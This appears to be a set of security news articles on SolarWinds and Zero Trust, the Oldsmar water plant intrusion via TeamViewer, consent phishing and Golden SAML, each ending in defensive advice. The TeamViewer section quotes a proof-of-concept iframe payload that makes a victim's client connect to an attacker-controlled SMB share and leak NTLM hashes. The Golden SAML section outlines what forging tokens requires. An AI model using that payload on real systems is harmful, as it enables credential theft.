Zero Trust Lesson

Zero Trust is one of the lessons learned as a result of the recent SolarWinds supply chain attack, according to Microsoft – one of the victims of the said supply chain attack.

In the blog post "Microsoft Internal Solorigate Investigation – Final Update” published on February 18, 2021, Microsoft Security Response Center (MSRC) Team admitted that the threat actor behind the SolarWinds supply chain attack was able to download a small subset of Azure components (subsets of service, security, identity), a small subset of Exchange components, and a small subset of Intune components.

SolarWinds Supply Chain Attack Background

In December 2020, SolarWinds reported to the U.S. Securities and Exchange Commission (SEC) that the supply chain attack on its system affected nearly 18,000 customers of SolarWinds Orion – a software used as a monitoring and management platform designed to simplify IT administration.

In a supply chain attack, an attacker accesses the source code of legitimate software and infects it with malicious code. Once this compromised software is distributed to customers, the customers' systems are compromised as well and a series of compromises follow. According to SolarWinds, the attacker inserted a malicious code within Orion which, if present and activated, "could potentially allow an attacker to compromise the server on which the Orion products run." Microsoft named this malicious code "Solorigate."

Last December, Microsoft, through the MSRC Team, admitted that it was one of the victims of the SolarWinds supply chain attack and the threat actor behind it was able to "view source code in a number of source code repositories." The December 2020 admission specified that the threat actor was able to view, while the latest February 2021 admission specified that the threat actor was able to download.

"We have now completed our internal investigation into the activity of the actor and want to share our findings, which confirm that we found no evidence of access to production services or customer data," MSRC Team said, in the latest report dubbed as the final update about Solorigate. "The investigation also found no indications that our systems at Microsoft were used to attack others."

Zero Trust

The MSRC Team said that Solorigate reinforced one key learning: Zero Trust.

The concept of Zero Trust has been around for nearly a decade. The term was first used in 2010 by John Kindervag, then the principal analyst at Forrester Research Inc. In his research and analysis of enterprises, Kindervag found that “trust” had become an essential part of the network. For Kindervag, trust is a major liability for enterprises’ networks that could result in failure over and over again in the years to come.

In the blog post "The Tao Of Zero Trust" Chase Cunningham, VP, Principal Analyst; Jeff Pollard, VP, Principal Analyst; and Stephanie Balaouras, VP, Group Director, all from Forrester Research said that the adoption of Zero Trust is based on these two factors:

"First, the cybersecurity industry has hit an inflection point wherein the massive spend to prove the negative of ‘good security’ is drying up.

"Second, CEOs and board leadership for enterprises are tired of the technical talk and miscommunication around cybersecurity operations. Zero Trust is simple in name, comprehensive in its approach, and realistic in the acceptance of the inherent failures that plague enterprises from the second they start sending electrons."

MSRC Team defined Zero Trust as a "transition from implicit trust –assuming that everything inside a corporate network is safe – to the model that assumes breach and explicitly verifies the security status of identity, endpoint, network, and other resources based on all available signals and data."

Verify explicitly, least privileged access, and assume breach are three principles of Zero Trust. Verify explicitly means that it's always important to authenticate and authorize based on all available data points. Least privileged access means that permissions are only granted to the appropriate environment and on appropriate devices to meet specific business goals. Assume breach, meanwhile, means that processes and systems must assume breach has already happened or soon will. 

In the blog post "Using Zero Trust principles to protect against sophisticated attacks like Solorigate," Alex Weinert, Identity Security Director at Microsoft, said that the threat actor behind Solorigate compromised identity environments with these three major vectors: compromised user accounts, compromised vendor accounts, and compromised vendor software. "In each of these cases, we can clearly see where the attacker exploited gaps in explicit verification," Weinertsaid.

Weinert further said that the threat actor behind Solorigate took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had no permissions at all.

Applying the lessons from the Solorigate attack and the principles of Zero Trust, Microsoft recommends enabling multi-factor authentication (MFA) to reduce account compromise probability by more than 99.9%. It's important to note that attackers, however, have their ways of bypassing MFA nowadays.

Microsoft also recommends to configure for Zero Trust using Zero Trust Deployment Guides and to look atIdentity workbook for Solorigate.

Remote Access Security Risks and Best Practices to Counter These Risks

The recent cyber incident in which someone tried to poison the water supply of the city of Oldsmar, Florida highlights the security risks of remote access.

Pinellas County Sheriff Bob Gualtieri, in a press conference held last week, said that someone remotely accessed one of the computers of the city’s water treatment system and increased the amount of sodium hydroxide to a level that could have caused serious harm to the city’s 15,000 residents.

A small concentration of sodium hydroxide is used by the city’s water treatment system to control the water acidity. The high concentration of this chemical, however, causes severe burns and permanent damage to any tissue that it comes in contact with. Gualtieri said that the city’s water supply wasn’t adversely affected as a supervisor, who was also working remotely, noticed the unauthorized change and immediately reverted the chemical concentration to the old level.

TeamViewer Vulnerability

Gualtieri told WIRED and Reuters that the threat actor who made the unauthorized change to the concentration of sodium hydroxide gained remote access to the water treatment plant's computer system via TeamViewer – an app that allows a user to gain access to computers and networks remotely. This app is specifically used for desktop sharing.

The security vulnerability, designated as CVE-2020-13699, in TeamViewer for Windows platform was discovered last year by Jeffrey Hofmann, security engineer at Praetorian. Hofmann said the affected versions were versions 8 to 15 of the TeamViewer for Windows platform.

“An attacker could embed a malicious iframe in a website with a crafted URL (<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>)that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” Hofmann said. “Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”

An attacker exploiting this vulnerability could force a victim to send an NTLM authentication request and capture the hash for offline password cracking. In response to the disclosure made by Hofmann, TeamViewer issued updates to TeamViewer versions 8 to 15 for the Windows platform. "We implemented some improvements in URI handling relating to CVE 2020-13699,” TeamViewer said in a statement.

It’s unclear whether the updates issued by TeamViewer were applied by the concerned personnel of the city’s water treatment system. According to the Cybersecurity and Infrastructure Security Agency (CISA), early information indicates that it’s possible that TeamViewer may have been used to gain unauthorized access to the water treatment system. This, however, can’t be confirmed at present date, CISA said.

“TeamViewer, a desktop sharing software, is a legitimate popular tool that has been exploited by cyber actors engaged in targeted social engineering attacks, as well as large scale, indiscriminate phishing campaigns,” CISA said. “Desktop sharing software can also be used by employees with vindictive and/or larcenous motivations against employers. Beyond its legitimate uses, when proper security measures aren’t followed, remote access tools may be used to exercise remote control over computer systems and drop files onto victim computers, making it functionally similar to Remote Access Trojans (RATs). TeamViewer’s legitimate use, however, makes anomalous activity less suspicious to end users and system administrators compared to RATs.”

Other Poor Cybersecurity Practices

As a result of the cyber incident at Oldsmar's water treatment system, the State of Massachusetts issued a cybersecurity advisory for public water suppliers. The advisory issued by the State of Massachusetts said, "All computers used by water plant personnel were connected to the SCADA system and used the 32-bit version of the Windows 7 operating system.”

Microsoft ended its support for the Windows 7 operating system on January 14, 2020. End of support, in this case, means end of security updates and technical support. Users of Windows 7 Professional and Enterprise versions, however, can avail of the Extended Security Update (ESU) plan (paid per-device) until January 2023. It isn’t clear whether Oldsmar’s water treatment system availed of the ESU plan.

The cybersecurity advisory further said, “Further, all computers shared the same password for remote access and appeared to be connected directly to the Internet without any type of firewall protection installed.”

Cybersecurity Best Practices

While remote access comes with known risks, remote access has become a necessity as a result of the lockdown restrictions. There’s also an upside with remote access. In the case of the cyber incident at Oldsmar's water treatment system, the unauthorized change was immediately reversed due to remote access as well.

Here are some of the lessons learned out of the cyber incident at Oldsmar's water treatment system:

• Keep all software up to date. Attention should be given to the timely application of security updates of critical software, such as software that allows remote access.
• Train employees how to spot and block social engineering. In social engineering, employees are tricked into clicking something which could result in the exposure of login credentials.
• Use the latest version of the operating system (Windows 10, instead of Windows 7).
• Never allow employees to use only one password.
• Use multi-factor authentication (MFA) and virtual private network (VPN).The use of MFA and VPN ensures that in case malicious outsiders or malicious insiders have gotten hold of the employees’ passwords, they still have to overcome these two additional security defenses.
• Use a firewall – a network security device that monitors outgoing and incoming network traffic and either allows or blocks specific traffic based on a defined set of rules.

As a large number of the world’s workforce shifted to working from home, attackers have turned their attention to this new group of remote workforce by leveraging the cyberattack called “consent phishing” to gain access to valuable data in cloud services.

What Is Consent Phishing?

Consent phishing is a cyberattack in which an attacker lures a victim to click on a malicious app. This malicious app masquerades as a legitimate app, tricking the victim to give consent to such malicious app and giving the attacker access to the victim’s sensitive data or other resources.

In the blog post "Protecting your remote workforce from application-based attacks like consent phishing," Agnieszka Girling, Partner Group PM Manager at Microsoft warned about consent phishing. While each consent phishing attack tends to vary, Girling said, the basic steps typically follow these steps:

First, an attacker registers a malicious app with an OAuth 2.0 provider, such as Azure Active Directory.

Second, the malicious app is developed in such a way that it appears, at first glance, as legitimate through the use of the name and logo of a popular product.

Third, the attacker tricks a victim to click on a malicious link. The malicious link is delivered by email, website, or other techniques.

Fourth, the victim clicks the malicious link and is asked to grant the malicious app permissions.

Fifth, once the victim grants the malicious app permissions, the malicious app gets an authorization code which it redeems for an access token, and potentially a refresh token.

Sixth, the access token is then used to access a cloud service on behalf of the victim.

Consent phishing is also known as OAuth phishing as this type of cyberattack abuses the OAuth protocol – an authentication protocol that allows websites and applications to request limited access to a user's cloud account without the need for a password. With OAuth, instead of a password, an authorization token is used to authenticate.

Real-Life Example of Consent Phishing Attack

PhishLabs reported that an attacker used a malicious Microsoft 365 app to gain access to a victim’s legitimate Microsoft 365 account. According to PhishLabs, the attacker presented the link of the malicious Microsoft 365 app via a traditional phishing message impersonating an internal SharePoint and OneDrive file-share.

PhishLabs said that the link provided led to a Microsoft 365 legitimate login page. After the victim logged in or if previously logged in, the victim was then presented with the Microsoft 365 access permissions request. Access approval granted the attacker full control of the victim’s Microsoft 365 account.

According to PhishLabs, the Microsoft 365 app was created using the information of a legitimate organization. “This is likely due to the organization having been previously compromised, allowing attackers to leverage their development credentials in building the app,” PhishLabs said.

Cybersecurity Best Practices Against Consent Phishing

In consent phishing attacks, the typical remediation steps such as resetting passwords or requiring Multi-Factor Authentication (MFA) on accounts aren’t effective as the malicious apps are external to the organization.

According to Microsoft, consent phishing attacks “leverage an interaction model which presumes the entity that is calling the information is automation and not a human.”

Microsoft recommends the following measures to detect and remediate consent phishing attacks targeting your organization’s Microsoft cloud environment:

Detect Malicious Apps Using Alerts

OAuth policies can be set automatically to send notifications when an OAuth app meets certain criteria. For instance, an OAuth policy can be set to send a notification when an OAuth app requires high permissions and was authorized by more than 50 users.

Detect Malicious Apps by Hunting

In detecting malicious apps by hunting, OAuth apps are reviewed based on suspicious name or suspicious publisher.

“Misleading names, such as foreign letters that resemble Latin letters, could indicate an attempt to disguise a malicious app as a known and trusted app,” Microsoft said. “Misleading publisher names, such as foreign letters that resemble Latin letters, could indicate an attempt to disguise a malicious app as an app coming from a known and trusted publisher.”

Remediation

Once it’s determined that the OAuth app is malicious, the following remediations can be undertaken:

• Revoking the malicious app’s permission in the Azure Active Directory Portal by navigating to the affected user in the Azure Active Directory User blade, selecting applications, selecting the illicit application, and clicking Remove in the drill down
• Revoking the OAuth consent grant with PowerShell by following the steps in Remove-AzureADOAuth2PermissionGrant
• Revoking the Service App Role Assignment with PowerShell by following the steps in Remove-AzureADServiceAppRoleAssignment
• Disabling sign-in for the affected account
• Turning integrated applications off for your organization’s tenancy

How to Catch Golden SAML-Type Attacks

The supply chain attack on SolarWinds exposes the effectiveness of a cyberattack method called “Golden SAML.”

SolarWinds Supply Chain Attack Background

In December 2020, FireEye disclosed its discovery of the supply chain attack on SolarWinds product Orion – monitoring and management platform designed to simplify IT administration.

In the supply chain attack on SolarWinds Orion, attackers gained access to the source code of Orion; maliciously changed the code; and said malicious code was made part of the official updates released to the customers of SolarWinds. The malicious updates allowed the SolarWinds attackers to gain initial access to the networks of the customers of SolarWinds Orion. The attack affected nearly 18,000 customers of SolarWinds Orion.

Among the companies that admitted that they’ve been impacted by the SolarWinds supply chain attack are FireEye and Microsoft. As a result of the SolarWinds supply chain attack, FireEye disclosed that the attackers stole its Red Team assessment tools which leverage known Common Vulnerabilities and Exposures (CVEs) to test and validate clients’ cybersecurity posture. Microsoft, meanwhile, admitted that attackers were able to view the company’s “source code in a number of source code repositories.”

What Is Golden SAML?

Golden SAML is an attack vector that was discovered back in 2017 by CyberArk Labs. One of the attack methods used by the attackers after gaining initial access to the networks of SolarWinds Orion customers is the Golden SAML. The use of Golden SAML in the SolarWinds supply chain attack is the first documented use of Golden SAML since the 2017 discovery.

Golden SAML allows attackers who gained initial access to a victim’s network such as in the case of SolarWinds supply chain attack to maintain persistence and gain access to the different services used by the victim in a convenient and stealth manner. “Golden SAML is a technique that allows attackers, once they got privileged access to the victim’s network, to impersonate almost any identity in the organization and acquire any type of privilege across almost all services of the organization (this depends on what services in the organization use SAML as their authentication protocol),” CyberArk Labs said in the latest blog post "Golden SAML Revisited: The Solorigate Connection .”

As described by CyberArk Labs, Golden SAML is basically a forged SAML. Short for Security Assertion Markup Language, SAML enables web browser Single Sign-On (SSO). SAML 2.0, first introduced in 2005, is the current standard version of the SAML protocol. 

With SSO, a user only has to enter their login credentials once and the user is then given access to cloud services that support SAML authentication such as Microsoft Azure or Amazon Web Services (AWS). “In a golden SAML attack, attackers can gain access to any application that supports SAML authentication (e.g. Azure, AWS, vSphere, etc.) with any privileges they desire and be any user on the targeted application (even one that is non-existent in the application in some cases),” CyberArk Labs said.

On the part of an attacker, CyberArk Labs said, Golden SAML has the following advantages:

• It can be generated from practically anywhere. There’s no need to be a part of a domain.
• It’s effective even when two-factor authentication (2FA) is enabled.
• The token-signing private key isn’t renewed automatically.
• Changing a user’s password won’t affect the generated SAML.

To perform the Golden SAML attack, CyberArk Labs said, the following requirements are needed: token-signing private key, IdP public certificate, IdP name, and Role name (role to assume). CyberArk Labs added that in order to get the private key, tools such as Mimikatz can be used.

According to FireEye, the supply chain attack on SolarWinds enabled the attackers to execute a customized Cobalt Strike – a commercial penetration testing tool that’s marketed as a “software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors." One of the tools included in Cobalt Strike is Mimikatz, a tool that’s capable of exploiting Windows Single Sign-On (SSO) functionality to harvest credentials.

Even though the Golden SAML has been a known attack vector since 2017, this hasn’t been addressed by the concerned vendors using the SAML 2.0 protocol as Golden SAML isn’t treated as a security vulnerability as an attacker needs to have domain admin access in order to perform it. The case in point is the SolarWinds supply chain attack in which the attackers already gained domain admin access.

According to FireEye, the SolarWinds supply chain attackers were observed targeting on-premises Active Directory Federation Services servers with the goal of obtaining the token-signing certificate to forge SAML tokens. Active Directory Federation Services is a software component developed by Microsoft that runs on Windows Server operating systems to provide users with Single Sign-On access to systems and applications.

Cybersecurity Best Practices

One of the cybersecurity measures to prevent a Golden SAML attack is by deploying a Privileged Access Management (PAM) solution – referring to a solution that helps manage, monitor, and secure privileged access to critical assets. It’s also important to monitor for suspicious SAML tokens such as those with an unusually long life.

In case there’s enough evidence that attackers have already accessed your organization’s Active Directory Federation Services servers, the following steps need to be done:

1. Issue new certificates on the Active Directory Federation Services servers and synchronize them to Azure Active Directory; and
2. Revoke all existing refresh tokens for the Microsoft 365 tenant.